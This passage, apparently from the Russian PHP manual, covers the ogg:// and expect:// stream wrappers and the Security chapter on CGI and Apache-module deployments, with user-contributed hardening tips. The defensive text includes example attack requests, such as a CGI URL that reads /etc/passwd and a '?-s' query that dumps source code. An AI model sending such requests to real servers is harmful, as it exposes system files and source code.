/* дата создания и дата последнего доступа включается опционально в WinRAR, поэтому у
* большинства файлов их нет */
var_dump(fstat($stream));
?>

Результатом выполнения данного примера будет что-то подобное:

string(26) "Encrypted file 1 contents."
Array
(
    [0] => 0
    [1] => 0
    [2] => 33206
    [3] => 1
    [4] => 0
    [5] => 0
    [6] => 0
    [7] => 26
    [8] => 0
    [9] => 1259550052
    [10] => 0
    [11] => -1
    [12] => -1
    [dev] => 0
    [ino] => 0
    [mode] => 33206
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 26
    [atime] => 0
    [mtime] => 1259550052
    [ctime] => 0
    [blksize] => -1
    [blocks] => -1
)

User Contributed Notes

There are no user contributed notes for this page.


Аудиопотоки

  • « rar://
  • expect:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Аудиопотоки

ogg://

ogg:// — Аудиопотоки

Описание

Файлы, открываемые для чтения с использованием обёртки ogg://, рассматриваются как сжатый аудиопоток, кодируемый с использованием кодека OGG/Vorbis. Аналогично, файлы, открытые для записи или добавления через обёртку ogg://, записываются как сжатые звуковые данные. Функция stream_get_meta_data(), когда используется с файлами OGG/Vorbis открытыми для чтения, будет возвращать разнообразную информацию о потоке, включая тег производителя vendor, комментарии comments, число каналов channels, частоту дискретизации rate, и диапазон частоты кодирования, описываемый: bitrate_lower, bitrate_upper, bitrate_nominal и bitrate_window.

ogg:// (PECL)

Замечание: Данная обёртка не доступна по умолчанию
Для того чтобы использовать обёртку ogg:// необходимо установить модуль » OGG/Vorbis, доступный в репозитории » PECL.

Использование

  • ogg://soundfile.ogg
  • ogg:///path/to/soundfile.ogg
  • ogg://http://www.example.com/path/to/soundstream.ogg

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Чтение | Да
Запись | Да
Добавление | Да
Одновременное чтение и запись | Нет
Поддержка stat() | Нет
Поддержка unlink() | Нет
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет

Установки для контекста
Название | Использование | Значение по умолчанию | Режим
pcm_mode | Опция PCM кодирования, применяемая во время чтения, одна из констант: OGGVORBIS_PCM_U8, OGGVORBIS_PCM_S8, OGGVORBIS_PCM_U16_BE, OGGVORBIS_PCM_S16_BE, OGGVORBIS_PCM_U16_LE и OGGVORBIS_PCM_S16_LE. (8- или 16-битное, со знаком или без него, прямой или обратный порядок байтов) | OGGVORBIS_PCM_S16_LE | Чтение
rate | Частота дискретизации входных данных, выраженная в Гц | 44100 | Запись/Добавление
bitrate | Когда дано целое число, постоянный битрейт при котором кодировать. (от 16000 до 131072) Когда дано вещественное число, качество переменного битрейта для использования. (от -1.0 до 1.0) | 128000 | Запись/Добавление
channels | Количество аудиоканалов для кодирования, обычно 1 (Моно), или 2 (Стерео). Может варьироваться вплоть до 16. | 2 | Запись/Добавление
comments | Массив строк для запись в заголовок трека. |  | Запись/Добавление

Примеры

User Contributed Notes

martin dot leese at stanfordalumni dot org 18-Feb-2008 10:04
Note that although "ogg:" is the wrapper name, the stream is restricted to Ogg files containing a single stream encoded using the Vorbis audio codec.  An Ogg container can, in fact, contain multiple streams: audio, video, anything.  (Also, the audio streams in an Ogg contaner can use codecs such as FLAC and OggPCM.)  The wrapper name is therefore misleading.


Потоки для взаимодействия с процессами

  • « ogg://
  • Безопасность »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Потоки для взаимодействия с процессами

expect://

expect:// — Потоки для взаимодействия с процессами

Описание

Потоки, открытые с помощью обёртки expect://, предоставляют доступ к процессам stdio, stdout и stderr через PTY.

Замечание: Эта обёртка отключена по умолчанию
Для того, чтобы использовать обёртку expect://, необходимо установить модуль » Expect, доступный в репозитории » PECL.

expect:// (PECL)

Использование

  • expect://command

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Чтение | Да
Запись | Да
Добавление | Да
Одновременное чтение и запись | Нет
Поддержка stat() | Нет
Поддержка unlink() | Нет
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет

Примеры

User Contributed Notes

There are no user contributed notes for this page.


Безопасность

  • Вступление
  • Общие рассуждения
  • Если PHP установлен как CGI
    • Возможные атаки
    • Вариант 1: обслуживаются только общедоступные файлы
    • Вариант 2: использование cgi.force_redirect
    • Вариант 3: использование опций doc_root или user_dir
    • Вариант 4: PHP вне дерева веб-документов
  • Если PHP установлен как модуль Apache
  • Безопасность сессий
  • Безопасность файловой системы
    • Проблемы безопасности, связанные с нулевым байтом
  • Безопасность баз данных
    • Проектирование базы данных
    • Соединение с базой данных
    • Шифрование хранилища базы данных
    • SQL-инъекции
  • Сообщения об ошибках
  • Данные, введённые пользователем
  • Сокрытие PHP
  • Необходимость обновлений

User Contributed Notes

inland14 at live dot com 13-Jan-2019 04:06
Good Dharma tokens which are basically in the feed somewhere that allow users that are not reprogramming and injecting to get into the site.

Change this POST AJAX call URL every couple minutes to exclude users who didn't follow your portal. You can combine this with where they came from. Just in the case of advertised click-thrus.

You can make a perfectly good token from time() and some measure away from it every ~5th minute(?). Balance the load by free token grasping at login, or even if they just got to the site. And don't let them into the feed past the designated 5th minute, or algorithmic sum for your timed change of the guard, without knowledge of the token. This can be caught up by passing variables across pages. Directly injecting the POST token with a curl to your own site. And combining that like a session ID.
Ray.Paseur sometimes uses Gmail 13-Oct-2016 02:51
Password hashing should be linked here:
http://php.net/manual/en/faq.passwords.php
Anonymous 13-Jul-2015 09:41
chroot is NOT a security feature. Don't use it as one. Please read the man pages of chroot to understand what its really used for
moehbass at gmail dot com 11-Jul-2007 10:34
First, q much simpler solution to preventing people from viewing code inside of an includable file would be to give include file an extension that ends with php (e.g. myFile.inc.php).

Secondly, and more importantly, why on earth would you want to put program-level code in an include file? By that I mean something life this:

myFile.inc.php
--------------------------------
...
if ($var = 'whatever')
    // connect to the database
else
    // do something else.
--------------------------------

An include file should not contain logic! Rather, it is an encapsulated unit of code that should not do anything on its own unless asked to. To implement this ideology, consider including function definitions only in your include files, then once you include them in the script, call such functions from within your program (i.e. the script that included the inc file). If you don't know the names of the functions ab initio, use call_user_func() or call_user_func_array() and pass it the name of the function that's dependent on context.

If you MUST put program-level logic in your include files, consider simply putting it in the program!

Why should you consider this? How about variable name clashes for a starter! You can think of more, I am shure!

Hope that helped
dangan at blackjaguargaming dot net 01-Feb-2007 06:41
I'd recommend a 404 over a 403 considering a 403 proves there is something worth hacking into.

index.php:
<?php
define('isdoc',1);
include('includes/include.sqlfunctions.php');
// Rest of code for index.php
?>

include.sqlfunctions.php (or other include file):
<?php
if(isdoc !== 1) // Not identical to 1
{
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>404 Not Found</title>\n</head>";
    echo "<body>\n<h1>Not Found</h1>\n<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>\n";
    echo "<hr>\n".$_SERVER['SERVER_SIGNATURE']."\n</body></html>\n";
    // Echo output similar to Apache's default 404 (if thats what you're using)
    exit;
}
// Rest of code for this include
?>
k 25-Oct-2006 04:06
How about not putting the php code in the web-root at all...?

You can create a public directory with the css, html, etc and index.php there. Then use the include_path setting to point to the actual php code, eg...

webstuff
  phpcode
  public
    images
    css
    index.php

then set the include path to "../phpcode" and, as php is executed from the directory of the script, all should be well.

I'd also call the main index "main.page", or something else, instead of "index.php" and change the web server default index page. That way you cant get hit by things trawlling the web for index pages.
steffen at morkland dot com 20-Sep-2006 06:38
In Reply to djjokla and others

Consider placing all incude files as mentioned before in a seperate folder containing a .htaccess containing a Order Deny,Allow

the create a index file, which is intended to handle ALL request made to you php application, then call it with index.php?view=index

the index file could look a bit like this:

<?php
switch($_GET['view']){
    case 'index':
        include('libs/index.php');
        break;
    default:
        include('libs/404.php');
        break;
}
?>

this could be an array or something even more creative. it actually does'nt matter how you do it... running all pages through one central script has one big advantage.... CONTROL.
at any givin time, you can easily implement access control to functions without forgetting crucial files.
djjokla AT gmail dot com 21-Apr-2006 08:22
If a single file has to be included than I use the following

index.php ( where the file is gonna be included )
___________
<?php
    define('thefooter', TRUE);
    include('folder/footer.inc.php');
?>

and the footer file (for example) looks this way then

footer.inc.php ( the file to be inluded )
___________
<?php
    defined('thefooter') or die('Not with me my friend');
    echo('Copyright to me in the year 2000');
?>

So when someone tries to access the footer.php file directly he/she/it will get the "Not with me my friend" messages written on the screen. An alternative option is to redirect the person who wants to access the file directly to a different location, so instead of the above code you would have to write the following in the footer.inc.php file.

<?php
    defined('thefooter') or header('Location: http://www.location.com');
    echo('Copyright to me in the year 2000');
?>

In normal case a redirection to an external site would be annoying to the visitor, but since this visitor is more interested in hacking the site than in reading the content, I think it's only fair to create such an redirection. We dont' realy want someome like this on our sites.

For the file protection I use .htaccess in which I say to protect the file itself and every .inc file

<Files ~ "^.*\.([Hh][Tt]|[Ii][Nn][Cc])">
Order allow,deny
Deny from all
Satisfy All
</Files>

The .htaccess file should result an Error 403 if someone tries to access the files directly. If for some reason this shouldn't work, then the "Not with me my friend" text apears or a redirection (depending what is used)

In my eyes this looks o.k. and safe.
Thomas "Balu" Walter 16-Oct-2005 01:24
Since many users can not modify apache configurations or use htaccess files, the best way to avoid unwanted access to include files would be a line at the beginning of the include-file:

<?php if (!defined('APPLICATION')) exit; ?>

And in all files that are allowed to be called externally:

<?php define('APPLICATION', true); ?>

     Balu
nick dot hristov at gmail dot com 02-Sep-2004 08:21
A correction to previous post by Dave Mink.

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

Will not stop something like
http://www.yourserver.com/includefile.inc?pointlessvar=blahblah

Here is something more sophisticated for this task:

<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>

Also, consider placing in your httpd.conf

<Location ~ "/[^ ](?=\.phps(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>
ocrow at simplexity dot net 02-Jul-2003 05:16
If your PHP pages include() or require() files that live within the web server document root, for example library files in the same directory as the PHP pages, you must account for the possibility that attackers may call those library files directly.

Any program level code in the library files (ie code not part of function definitions) will be directly executable by the caller outside of the scope of the intended calling sequence.  An attacker may be able to leverage this ability to cause unintended effects.

The most robust way to guard against this possibility is to prevent your webserver from calling the library scripts directly, either by moving them out of the document root, or by putting them in a folder configured to refuse web server access. With Apache for example, create a .htaccess file in the library script folder with these directives:

Order Allow,Deny
Deny from any
annonymous at domain dot com 27-Jun-2003 06:08
best bet is to build php as cgi, run under suexec, with chroot jailed users. Not the best, but fairly unobtrusive, provides several levels of checkpoints, and has only the detriment of being, well, kinda slow. 8)
ManifoldNick at columbus dot rr dot com 29-Apr-2003 10:30
Remember that security risks often don't involve months of prep work or backdoors or whatever else you saw on Swordfish ;) In fact one of the bigges newbie mistakes is not removing "<" from user input (especially when using message boards) so in theory a user could secerely mess up a page or even have your server run php scripts which would allow them to wreak havoc on your site.


Вступление

PHP является мощным языком программирования и интерпретатором, взаимодействующим с веб-сервером как модуль либо как независимое бинарное CGI приложение. PHP способен обращаться к файлам, выполнять различные команды на сервере и открывать сетевые соединения. Именно поэтому все скрипты, исполняемые на сервере, являются потенциально опасными. PHP изначально разрабатывался как более защищённый (относительно Perl, C) язык для написания CGI-приложений. При помощи ряда настроек во время компиляции, а также динамических настроек приложения, вы всегда сможете найти подходящее сочетание свободы действий и безопасности.

Поскольку существует много различных способов использования PHP, имеется и множество опций, управляющих его поведением. Широкий выбор опций гарантирует вам возможность использовать PHP в разных целях, но также означает, что некоторые комбинации опций делают сервер незащищённым.

Гибкость конфигурирования PHP можно сравнить с гибкостью самого языка. PHP можно использовать для создания полноценных серверных приложений, использующих доступные для указанного пользователя возможности операционной системы, либо в качестве простых подключаемых файлов, хранящихся на сервере с минимальным риском в жёстко контролируемой среде. То, как настроено данное окружение, а также качество его безопасности, в большей части зависит от PHP-разработчика.

Эта глава начинается с рассмотрения некоторых общих вопросов безопасности, различных конфигурационных опций и их комбинаций, а также ситуаций, когда их использование является безопасным. Кроме того, приводятся некоторые рассуждения касательно безопасного кодирования.

User Contributed Notes

There are no user contributed notes for this page.


Общие рассуждения

Так как абсолютно безопасные системы являются не более, чем мифом, на практике приходится балансировать между комфортом и безопасностью. Если каждая переменная, вводимая пользователем, будет требовать две биометрические проверки (например, сканирование сетчатки глаза и отпечатки пальцев), то вы получите предельно высокую достоверность данных. Но поскольку заполнение сложной формы будет занимать около получаса, у пользователей такой системы непременно возникнет желание обойти навязчивую защиту.

Правильно поставленная защита должна соответствовать основным требованиям безопасности, не ухудшая при этом работу пользователя и не усложняя самому программисту разработку продукта. Вместе с тем, некоторые атаки могут основываться именно на таком подходе к защите, что приводит к её постепенному ослаблению.

Следует помнить хорошую поговорку: надёжность системы определяется её самым слабым звеном. Например, если все транзакции логируются по времени, месторасположению, типу транзакции и ряду других параметров, но авторизация пользователя происходит всего лишь по куке (cookie), то связь конкретной записи в логе с пользователем системы весьма сомнительна.

При тестировании следует помнить, что вы не можете проверить все возможные варианты даже для простейшей страницы. Данные, которые вы ожидаете, могут совершенно не соответствовать тому, что введёт раздражённый служащий, хакер со стажем или домашний кот, разгуливающий по клавиатуре. Поэтому лучше логически подумать над вопросом: в каком месте могут быть введены неожиданные данные, как их можно модифицировать, усечь, либо, наоборот, дополнить.

Интернет наполнен людьми, которые хотят сделать себе имя на том, что взломают ваш код, разрушат сайт, опубликуют на нем неуместный контент или просто сделают ваш день интереснее. И не важно, маленький у вас сайт или большой, если у вас есть онлайн-сервер - вы уже потенциальная жертва. Многие программы-взломщики не смотрят на размер, они просто перебирают массивы IP-адресов, выискивая очередную жертву. Постарайтесь не стать одной из них.

User Contributed Notes

There are no user contributed notes for this page.


Если PHP установлен как CGI

Содержание

  • Возможные атаки
  • Вариант 1: обслуживаются только общедоступные файлы
  • Вариант 2: использование cgi.force_redirect
  • Вариант 3: использование опций doc_root или user_dir
  • Вариант 4: PHP вне дерева веб-документов

User Contributed Notes

Anonymous 03-May-2012 09:06
IMPORTANT INFORMATION

There was a serious vulnerability in certain CGI-based PHP setups that has gone unnoticed for at least 8 years.

For PHP this means that a request containing ?-s may dump the PHP source code for the page.

Make sure to update to current versions and/or use an .htaccess patch, both available here:

PHP 5.3.12 and PHP 5.4.2 Released:
http://www.php.net/archive/2012.php#id2012-05-03-1
Craig Buchek 12-Aug-2007 09:33
NOTE: Running PHP as a CGI program will change the value of $_SERVER['SCRIPT_NAME']. When running via the (normal) mod_PHP mechanism, it will be set to the name of (actually, path to) the PHP script that's running. When running via CGI, it will instead point to the path of the CGI binary.
phpD0TnetATmoritzHYPHONnaumannD0Tcom 09-Jan-2006 09:56
One of the most common reasons why you get 'No input file specified' (AKA 'the second most useful error message in the world') is that you have set 'doc_root' (in php.ini) to a value which is to the 'DocumentRoot' defined in the apache configuration.

This is the same for other webservers. For example, on lighttpd, make sure the 'server.document-root' value is the same as what is defined as 'doc_root' in php.ini.
phil dot ross at gmail dot com 22-Mar-2005 03:56
In response to grange at club-internet dot fr:

There are a couple of errors in the mod_rewrite directives given. I found that the following works:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} !200
RewriteRule ^cgi-bin/php.cgi - [F]

I removed the = from the RewriteCond and took out the leading / from the RewriteRule.
kschroeder at mirageworks dot com 11-Feb-2005 07:23
I have noticed that some people have noted that running PHP as a CGI program can run slowly compared with a compiled in module.  Some have noted that they want to use FastCGI but are hesitant.  I found that using the Apache 2's CGID module was a great way to speed up performance almost to the same level as an "so"-installed PHP module but you get the added benefit of running each virtual host under it's own user and group.

In my testing I got 44 pages per second using PHP as a module and I got roughly the same performance (within 5%) running PHP as a CGI program through CGID.

CGID is also really easy to set up.  Just add --enable-cgid to your Apache configure command and you're good to go.  Just set up PHP as a CGI normally.

I'm sure that there's extra RAM used for this method but RAM is as cheap as borscht anyways so it shouldn't be a major factor when trying to speed up PHP CGI.
martelli at geoserve dot com dot br 12-Jul-2004 12:25
PHP CGI with VirtualHosts.

This is what I found out while trying to get php to work as CGI with Apache VirtualHosts.

By enabling 'force-cgiredirects', you *must*:
1) set 'cgi.fix_pathinfo=1' in php.ini
2) leave doc_root commented out (php.ini also)

If you miss item 1, the apache logs will show 'unexpected T_STRING' in the php binary.
If you miss item 2, you'll only see 'No input file specified.', instead of the expected output.

You can then turn on the php support for a particular vhost by defining:

Action php-script /cgi-bin/php

inside the corresponding <VirtualHost> directive.
13-Jun-2004 08:26
PHP works with Apache and suEXEC like this:
(Assuming that suEXEC ist allready installed and working)

Install PHP as CGI binary (e.g. in /usr/local/bin/php)
(compile with --enable-force-cgi-redirect)

Create a Link inside cgi-bin directory to make php-cgi accessable:
cd /usr/local/apache/cgi-bin
ln /usr/local/bin/php php

Edit your httpd.conf file:
 AddHandler php4-script .php
 Action php4-script /cgi-bin/php

 <VirtualHost 123.456.789.0:80>
    User exampleuser
    Group examplegroup
     ...

 </VirtualHost>

Restart Apache

PHP-scripts are now called under the user-id of exampleuser and group-id of examplegroup.
geeky at geeky dot de 02-Sep-2003 07:32
a replacement for suexec is suphp (http://www.suphp.org).

"suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter." (from the website)
pookey at pookey dot co dot uk 21-Mar-2003 10:29
I have setup a guide to installing PHP with SuEXEC in such a way that shebangs (!#/usr/bin/php4) are not needed.  Hope this is of some help to you.

http://www.pookey.co.uk/php-security.xml
goran_johansson at yahoo dot com 17-Feb-2003 06:53
A tip for Windows-users

Just a tip for you so do not do the same mistake as I did:
I just found out that PHP first seem to look in the php-directory for php.ini, and if that file does not exist, it looks in the Windows directory.
I renamed the file php.ini-dist to php.ini and copied it to my Windows directory, and then I modified the infamous "cgi.force_redirect = 0" in the php.ini file located in the Windows directory, to make it work. But it did not because it reads from the "original" php.ini - So when I deleted this php.ini things started working again
matled at gmx dot net 28-Sep-2002 03:53
If you are using php per cgi and have additionally mod_gzip enabled you have to disable mod_gzip for the php cgi binary to use --enable-cgi-redirect. mod_gzip sets the REDIRECT_STATUS always to 200 which makes it impossible for the php binary to know when it was called directly or when it was called by a redirect.
ruben at puettmann dot net 20-Sep-2002 06:29
To use php-cgi with suexec it will be nice that each virtual host has ist's own php.ini. This goes with :

SetEnv PHPRC /var/www/server/www.test.com/conf

But suexec will kill this enviromet cause It don't know that it is "save" so you must edit the suexec.c for compiling ....
yohgaki at hotmail dot com 12-Apr-2001 11:44
If you care about security, you are better of setting

register_globals = off
enable_track_vars = on (Always on from PHP4.0.3)

Default setting for variable order is
EGPCS
(ENV VARS/GET VARS/POST VARS/COOKIE VARS/SESSION VARS)

Imagine if you are rely on ENV VAR but it was orver written with GET/POST/COOKIE vars?
michel dot jansens at ulb dot ac dot be 09-Apr-2001 10:21
If you want to use suexec and reference your php interpreter via #!/usr/local/bin/php,  be shure to compile php WITHOUT  --enable-force-cgi-redirect.

This might seems obvious, but I spent 2 days on this :-(
steeven at kali dot com dot cn 18-Jan-2001 01:54
suEXEC require CGI mode, and slow down the scripts. I did them like this:
1. Install php as DSO mode. (for max speed and low secure)
2. Make a seperate CGI install with --enable-force-cgi-redirect, place php to cgi-bin
3 For more secure with suEXEC, choose one of the following method:
3-1: Place a .htaccess file containing this to override main config:
AddType application/x-httpd-wphp php
Action application/x-httpd-wphp /cgi-bin/php
  All php files in subdirectory will be protected.
3-2: add following in httpd.conf:
AddType application/x-httpd-wphp sphp
Action application/x-httpd-wphp /cgi-bin/php
  then each sensitive php file should be renamed to .sphp

Add "php_value doc_root /home/user/html_docs" to each virtual host directive in httpd.conf
kstone at trivergent dot net 04-May-2000 02:01
Better yet, use binfmt_misc:  (linux only)

echo :php3:E::php3::/usr/bin/php: > /proc/sys/fs/binfmt_misc/register

Eliminates the need for the #! at the top of the file.


Возможные атаки

Использование PHP как бинарного CGI-приложения является одним из вариантов, когда по каким-либо причинам нежелательно интегрировать PHP в веб-сервер (например, Apache) в качестве модуля, либо предполагается использование различных CGI-обёрток и таких утилит, как chroot и setuid для организации безопасного окружения работы скриптов. Такая установка обычно сопровождается копированием исполняемого файла PHP в директорию cgi-bin веб-сервера. CERT (организация, следящая за угрозами безопасности) » CA-96.11 рекомендует не помещать какие-либо интерпретаторы в каталог cgi-bin. Даже если PHP используется как самостоятельный интерпретатор, он спроектирован так, чтобы предотвратить возможность следующих атак:

  • Доступ к системным файлам: http://my.host/cgi-bin/php?/etc/passwd Данные, введённые в строке запроса (URL) после вопросительного знака, передаются интерпретатору как аргументы командной строки с помощью интерфейса CGI. Обычно интерпретаторы открывают и исполняют файл, указанный в качестве первого аргумента. В случае использования PHP в качестве CGI-приложения он не станет интерпретировать аргументы командной строки.
  • Доступ к произвольному документу на сервере: http://my.host/cgi-bin/php/secret/doc.html Согласно общепринятому соглашению, часть пути в запрошенной странице, которая расположена после имени выполняемого модуля PHP, /secret/doc.html, используется для указания файла, который будет интерпретирован CGI-программой. Обычно, некоторые конфигурационные опции веб-сервера (например, Action для сервера Apache) используются для перенаправления документа, к примеру, для перенаправления запросов вида http://my.host/secret/script.php интерпретатору PHP. В таком случае веб-сервер сначала проверяет права доступа к директории /secret, и после этого создаёт перенаправленный запрос http://my.host/cgi-bin/php/secret/script.php. К сожалению, если запрос изначально задан в полном виде, проверка на наличие прав для файла /secret/script.php не выполняется, она происходит только для файла /cgi-bin/php. Таким образом, пользователь имеет возможность обратиться к /cgi-bin/php, и, как следствие, к любому защищённому документу на сервере. Если в PHP указать во время исполнения скрипта опции cgi.force_redirect, doc_root и user_dir, то можно предотвратить подобные атаки для директорий с ограниченным доступом. Более детально приведённые опции, а также их комбинации будут рассмотрены ниже.

User Contributed Notes

There are no user contributed notes for this page.


Вариант 1: обслуживаются только общедоступные файлы

В случае, если на вашем сервере отсутствуют файлы, доступ к которым ограничен паролем либо фильтром по IP-адресам, нет никакой необходимости использовать данные опции. Если ваш веб-сервер не разрешает выполнять перенаправления, либо не имеет возможности взаимодействовать с исполняемым PHP-модулем на необходимом уровне безопасности, вы можете включить ini-директиву cgi.force_redirect. Но при этом вы всё ещё должны убедиться, что альтернативные способы вызова скрипта, такие как непосредственный вызов http://my.host/cgi-bin/php/dir/script.php либо с переадресацией http://my.host/dir/script.php, недоступны.

В веб-сервере Apache перенаправление может быть сконфигурировано при помощи директив AddHandler и Action (описано ниже).

User Contributed Notes

There are no user contributed notes for this page.


Вариант 2: использование cgi.force_redirect

Конфигурационная директива cgi.force_redirect предотвращает попытки непосредственного вызова PHP по адресу вида http://my.host/cgi-bin/php/secretdir/script.php. Вместо этого PHP будет обрабатывать пришедший запрос только в том случае, если он был перенаправлен веб-сервером.

Обычно перенаправление в конфигурации Apache настраивается при помощи следующих опций:

Action php-script /cgi-bin/php
AddHandler php-script .php

Эта опция проверена только с веб-сервером Apache, её работа основывается на установке в случае перенаправления нестандартной переменной REDIRECT_STATUS, находящейся в CGI-окружении. В случае, если ваш веб-сервер не предоставляет возможности однозначно идентифицировать, является ли данный запрос перенаправленным, вы не можете использовать описываемую в данном разделе опцию и должны воспользоваться любым другим методом работы с CGI-приложениями.

User Contributed Notes

celtic at sairyx dot org 14-Dec-2006 05:24
Note that force-redirect doesn't work with IIS at all; it'll tell you to go away, as IIS doesn't supply the right variables to PHP.

php.ini tells you to turn it off, so make sure you do.


Вариант 3: использование опций doc_root или user_dir

Размещение динамического контента, такого как скрипты или любых других исполняемых файлов, в директории веб-сервера делает его потенциально опасным. В случае, если в конфигурации сервера допущена ошибка, возможна ситуация, когда скрипты не выполняются, а отображаются в браузере, как обычные HTML-документы, что может привести к утечке конфиденциальной информации (например, паролей), либо информации, являющейся интеллектуальной собственностью. Исходя из таких соображений, многие системные администраторы предпочитают использовать для хранения скриптов отдельную директорию, работая со всеми размещёнными в ней файлами по CGI-интерфейсу.

В случае, если невозможно гарантировать, что запросы не перенаправляются, как было показано в предыдущем разделе, необходимо указывать переменную doc_root, которая отличается от корневой директории веб-документов.

Вы можете установить корневую директорию для PHP-скриптов, настроив параметр doc_root в конфигурационном файле, либо установив переменную окружения PHP_DOCUMENT_ROOT. В случае, если PHP используется посредством CGI, полный путь к открываемому файлу будет построен на основании значения переменной doc_root и указанного в запросе пути. Таким образом, вы можете быть уверены, что скрипты будут выполняться только внутри указанной вами директории (кроме директории user_dir, которая описана ниже).

Ещё одна используемая при настройке безопасности опция - user_dir. В случае, если переменная user_dir не установлена, путь к открываемому файлу строится относительно doc_root. Запрос вида http://my.host/~user/doc.php приводит к выполнению скрипта, находящегося не в домашнем каталоге соответствующего пользователя, а находящегося в подкаталоге doc_root скрипта ~user/doc.php (да, имя директории начинается с символа ~).

Но если user_dir установлена, например, в значение public_php, то запрос вида http://my.host/~user/doc.php откроет файл doc.php, находящийся в домашнем каталоге пользователя, в директории public_php. Например, если домашний каталог пользователя /home/user, будет выполнен файл /home/user/public_php/doc.php.

Установка опции user_dir происходит независимо от установки doc_root, таким образом вы можете контролировать корневую директорию веб-сервера и пользовательские директории независимо друг от друга.

User Contributed Notes

There are no user contributed notes for this page.


Вариант 4: PHP вне дерева веб-документов

Один из способов существенно повысить уровень безопасности - поместить исполняемый модуль PHP вне дерева веб-документов, например в /usr/local/bin. Единственным недостатком такого подхода является то, что первая строка каждого скрипта должна иметь вид:

#!/usr/local/bin/php
Также необходимо сделать все файлы скриптов исполняемыми. Таким образом, скрипт будет рассматриваться так же, как и любое другое CGI-приложение, написанное на Perl, sh или любом другом скриптовом языке, который использует #! в начале файла для запуска самого себя.

Для корректной обработки PHP переменных PATH_INFO и PATH_TRANSLATED директива ini cgi.discard_path должна быть включена.

User Contributed Notes

There are no user contributed notes for this page.


Если PHP установлен как модуль Apache

Если PHP используется как модуль Apache, он наследует права пользователя, с которыми был запущен веб-сервер (обычно это пользователь "nobody"). Это влияет на обеспечение безопасности и реализацию авторизации. Например, если вы используете PHP для доступа к базе данных, которая не имеет встроенного механизма разграничения доступа, вам придётся обеспечить доступ к БД для пользователя 'nobody'. В таком случае вредоносный скрипт может получить доступ к базе данных и модифицировать её, даже не зная логина и пароля. Вполне возможна ситуация, при которой веб-паук неверными запросами на страницу администратора базы данных может уничтожить все ваши базы данных. Вы можете избежать такой ситуации при помощи авторизации Apache или разработав собственную модель доступа, используя LDAP, файлы .htaccess или любые другие технологии, внедряя соответствующий код в ваши PHP-скрипты.

Достаточно часто используются такие настройки безопасности, при которых PHP (имеется в виду пользователь, с правами которого выполняется Apache) имеет минимальные привилегии, например, отсутствует возможность записи в пользовательские директории с помощью PHP. Или, например, отсутствует возможность работать с базой данных. При этом система безопасности не позволяет записывать как "хорошие", так и "плохие" файлы, или провести "хорошие" или "плохие" транзакции.

Распространённой ошибкой является запуск Apache с правами суперпользователя или любое другое расширение полномочий веб-сервера.

Расширение привилегий веб-сервера до полномочий суперпользователя угрожает работоспособности всей системы, поэтому такие команды, как sudo, chroot и другие способы запуска с правами суперпользователя должны выполняться исключительно теми, кто профессионально разбирается в вопросах безопасности.

Существует несколько простых решений. Используя open_basedir, вы можете ограничить дерево доступных директорий для PHP. Вы так же можете определить область доступа Apache, ограничив все действия, совершаемые из веба не пользовательскими или несистемными файлами.

User Contributed Notes

joe 12-Mar-2022 03:59
It is not useful for ordinary users to have a debate about the lack of security in using PHP without clearly listing step by step methods of resolving the issue. Such methods should be authoritatively provided by PHP and not as a user's opinion, later debated by another user.

It is not that I am opposed to debate. This is how we learn as an open-source community.  However, us mere mortals need the gods of PHP to come to conclusions and give us best practices.
bk 2 at me dot com 24-Feb-2012 05:17
doc_root already limits apache/php script folder locations.

open_basedir is better used to restrict script access to folders
which do NOT contain scripts. Can be a sub-folder of doc_root as in php doc example doc_root/tmp, but better yet in a separate folder tree, like ~user/open_basedir_root/. Harmful scripts could modify other scripts if doc_root (or include_path) and open_basedir overlap.
If apache/php can't browse scripts in open_basedir, even if malicious scripts uploaded more bad scripts there, they won't be browse-able (executable).

One should also note that the many shell execute functions are effectively a way to bypass open_basedir limits, and such functions should be disabled if security demands strict folder access control. Harmful scripts can do the unix/windows version of "delete */*/*/*" if allowed to execute native os shell commands via those functions. OS Shell commands could similarly bypass redirect restrictions and upload file restrictions by just brute force copying files into the doc_root tree. It would be nice if they could be disabled as a group or class of functions, but it is still possible to disable them one by one if needed for security.

PS. currently there is a bug whereby the documented setting of open_basedir to docroot/tmp will not work if any include or require statements are done. Right now include will fail if the included php file is not in BOTH the open_basedir tree and the doc_root+include_path trees. Which is the opposite of safe.
This means by any included php file must be in open_basedir, so is vulnerable to harmful scripts and php viruses like Injektor.
Vikanich 14-Aug-2008 04:41
Big thanks to "daniel dot eckl at gmx dot de" but i have to change his config, because it doesn't work (may be wrong syntax).
I have add only this string to VirtualHost config and it works.
php_admin_value open_basedir  /www/site1/
Now all php scripts are locked in the directory.
Kibab 30-Sep-2005 06:56
I'm running Windows version of Apache with php as module. System is Windows XP Service Pack 2 on NTFS filesystem. To avoid potential security problems, I've set Apache to run under NT AUTHORITY\Network Service account, and there is only one directory, named Content, with Full Access for this account. Other directories are either not accessible at all or with readonly permissions (like %systemroot%)... So, even if Apache will be broken, nothing would happen to entire system, because that account doesn't have admin privilegies :)
daniel dot eckl at gmx dot de 08-Aug-2002 04:16
There is a better solution than starting every virtual host in a seperate instance, which is wasting ressources.

You can set open_basedir dynamically for every virtual host you have, so every PHP script on a virtual host is jailed to its document root.

Example:
<VirtualHost www.example.com>
  ServerName www.example.com
  DocumentRoot /www-home/example.com
[...]
  <Location />
